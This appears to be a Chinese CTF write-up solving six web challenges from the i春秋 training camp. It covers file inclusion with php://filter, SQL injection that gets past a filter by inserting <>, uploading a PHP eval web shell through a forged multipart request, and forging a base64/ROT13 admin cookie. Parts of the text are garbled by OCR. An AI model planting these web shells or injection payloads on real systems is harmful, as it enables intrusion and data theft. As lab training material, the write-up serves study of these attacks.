I春秋CTF训练营web题解(一)



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I春秋CTF训练营web题解(一)

(1) include

==hint: 没错! 就是文件包含漏洞.==

点开链接,发现

<pre>(?php show_source(FILE): if(isset(\$_HEQUEST[?path'])){ else{ include(\$_HEQUEST[?pat include('phpinfo.php') }</pre>	a' D: :	
	PHP Version 5.6.29	php
	System	Linux a6270ccd2a6b 3.10.0-327.36.3.el7x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016 x86_64
	Build Date	Dec 13 2016 00:04:38
	Configure Command	/home/buildozer/aports/main/php5/src/php-5.6.29/configure '-build=x86_64-alpine-linux-musl' ' host=x86_64-alpine-linux-musl' 'prefax-/usr'sysconfilier /etc/php5' '-localstatedi=2/arX' 'with- layout=GNU' '-with-config-file-gath-/etc/php5' '-with-confilie-gater, '-enable- tinine-optimization' 'disable-debug' 'disable-state' 'enable-bornate' ' mandier=/usr/share/man' 'with-obtershared' 'with-aps2' 'enable-bornate' 'with- bz2=shared' 'with-db4=shared' 'with-db4='enable-type=shared' 'with-curl=shared' ' enable-dbarshared' 'with-db4=shared' 'enable-dom=shared' 'with-enchat=shared' 'with-db4=shared' 'with-enchat=shared' 'with-db4=shared' 'with-db4=shared' 'with-enchat=shared' 'with-enchat=shared' 'with-gdbe-gd- native-ttf' 'with-dd4=shared' 'with-db4=shared' 'with-gda=shared' 'with-gdb-gd- native-ttf' 'with-dd4=shared' 'with-db4=shared' 'enable-int=shared' 'with-jepg- dir=shared.'-with-imap=shared' 'with-imap=shared' 'enable-int=shared' '

通过源码可知可以提交一个path的变量,通过ctrl+f搜索allow_url_include,发现是打开状态:

PHP version	3.0.29		
Directive	Local Value	Master Value	
allow_url_fopen	Off	Off	
allow_url_include	On	On	
always_populate_raw_post_data	0	0	
arg_separator.input	8.	8.	

所以打开火狐浏览器,用hackbar工具输入:

发现存在疑似含有flag的文件

接着使用php://filter协议查看曝露出来的文件的内容,因为PHP文件是在不能直接显示的,所以使用了base64编码显示



然后解码就可以得到flag了

PD9waHAgCiRmbGFnPSJmbGFne2IzMDhjMmY4LWM1MjctNGFjNC05ZjU0LTVhNzRmMGRhNmIwMH0iOwo=

(2) SQL

==hint: 出题人就告诉你这个是个注入, 有种别走! ==

创建链接点进去,然后查看源码



很明显知道用sql注入,用火狐hackbar进行手动注入,先爆字段

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 order by 4

```
1 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2 inj code!
```

说明存在过滤,试试/**/,关键词大写,不行,然后尝试<>发现可以

1 {meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2
3
4 <!--SELECT * FROM info WHERE id=1 order by 4--×br />
5
6

没出现结果,所以接下来继续爆字段,4不对就二分法换2,然后发现还是没结果,换3有了

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 ord<>er by 2

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichungiu.com/index.php?id=1 ord<>er by 3

```
1 〈meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2
3
4 <!--SELECT * FROM info WHERE id=1 order by 3--×br />flag{在数据库中}<br />/>br />
```

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect
flag{在数据库中}
2

说明第二个字段可以显示,那么接下来就是爆数据库名,表名,列名:

①爆数据库名

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect

②爆表名

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect

③爆列名

ttp://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect

发现疑似存在flag的列

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect

flag就出来了。

(3) Do you know upload

==hint: 加油吧, 少年。==

创建链接,点开

图片上传

Filename: 选择文件 未选择任何文件 Submit

很明显文件上传,试着上传已经写好的PHP一句话木马

<?php eval(\$_POST['a']);?>

然后改为jpg格式上传抓包,并改为php后缀就可以成功上传。

POST / HTTP/1.1

Host: 35d6f08fafab4487868d45225e8ce1dd6560fed6630e463f.game.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://35d6f08fafab4487868d45225e8ce1dd6560fed6630e463f.game.ichunqiu.com/
Content-Type: multipart/form-data; boundary=41184676334
Content-Length: 403
Connection: close
Upgrade-Insecure-Requests: 1
41184676334
Content-Disposition: form-data; name="dir"
/uploads/
41184676334
Content-Disposition: form-data; name="file" filename="1.php
Content-Type: image/jpeg
php eval(\$_POST['a']);?
41184676334
Content-Disposition: form-data; name="submit"

Submit

-----41184676334--

因为我之前已经成功上传过了1.php文件,显示已存在,如果是第一次上传就会显示路径:upload/1.php



Filename: 浏览... 未选择文件。

Submit

Upload: 1.php Type: image/jpeg Size: 0.025390625 Kb 1.php already exists.

然后就是菜刀连接,打开

Cknife 1.0 Release				۰́0' 🗵
列表 35d6f08fafab4487868d	45225e8ce1dd6560fed6630e463f.game.ichunqiu.com			
/var/www/html/				读取
P- ↔ /	文件 Lupload Config.php Cdf.sqi Index.php	时间 2018-09-03 05:07:19 2017-10-16 15:44:40 1970-01-01 00:00:00 2017-10-16 15:44:40	大小 18 281 1722	属性 0755 0644 0 0644

发现config.php和ctf.sql,flag应该存在数据库中,点开config.php可以看到数据库的信息



然后用菜刀编写shell连接到数据库查看flag。

(4) broken

==hint: you got a file,but...==



一看jother编码,放进浏览器控制台,发现末尾少了一个],加上后出现错误



于是删除最后面的(),再次输入得到[Array(1)],打开就可以看到flag了。

(5) who are you?

==hint: 我是谁,我在哪,我要做什么? ==

点开链接进去,显示

Sorry. You have no permissions.

GET / HTTP/I.1 Host: 106.75.72.168:2222 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Cookie: role=Zjo1OiJ0aHJmZyI7 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0

猜测是base64编码,拿去解码得



是Rot13,运行脚本解码得到guest,尝试将guest换成admin用脚本进行Rot13加密得到Zjo1OiJucXp2YSI7,再重新放入cookie中



可以看到已经成功登陆并且说可以上传,旁边有一条注释

所以将请求包改成POST形式,然后输入

filename=2.php&data[]=<?php eval(\$_POST['a']);?>

再次提交



找到路径,输入进去看看就可以得到flag。

(6) Login

==hint: 加油, 我看好你==

点开链接,是一个登录界面

Username:		
Username		
Password:		
Password		
LOG IN		

做web题习惯性的点开页面源代码看,发现一行注释,虽然在页面下面

</form> <h4 style="color:red">error!!</h4> </div> </body> </html>



猜测是账号密码,输入登录发现成功登录,然而登录了并没有什么东西,抓包看看

Name	Value
HTTP/1.1	200 OK
Server	nginx/1.10.2
Date	Tue, 04 Sep 2018 02:31:24 GMT
Content-Type	text/html;charset=utf-8
Content-Length	69
Connection	close
X-Powered-By	PHP/5.5.9-1ubuntu4.19
Expires	Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control	no-store, no-coche, must-revalidate, post-check=0, pre-check=0
Pragma	no-cache
show	0
Vary	Accept-Encoding

发现member.php这页刷新返回包中有一个show参数,猜测可以show source,所以改包,加上一个show参数并设为1



发现真的出现了源码



重要的就是这段,编写代码

运行得到token

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

然后放到cookie中提交就可以得到flag。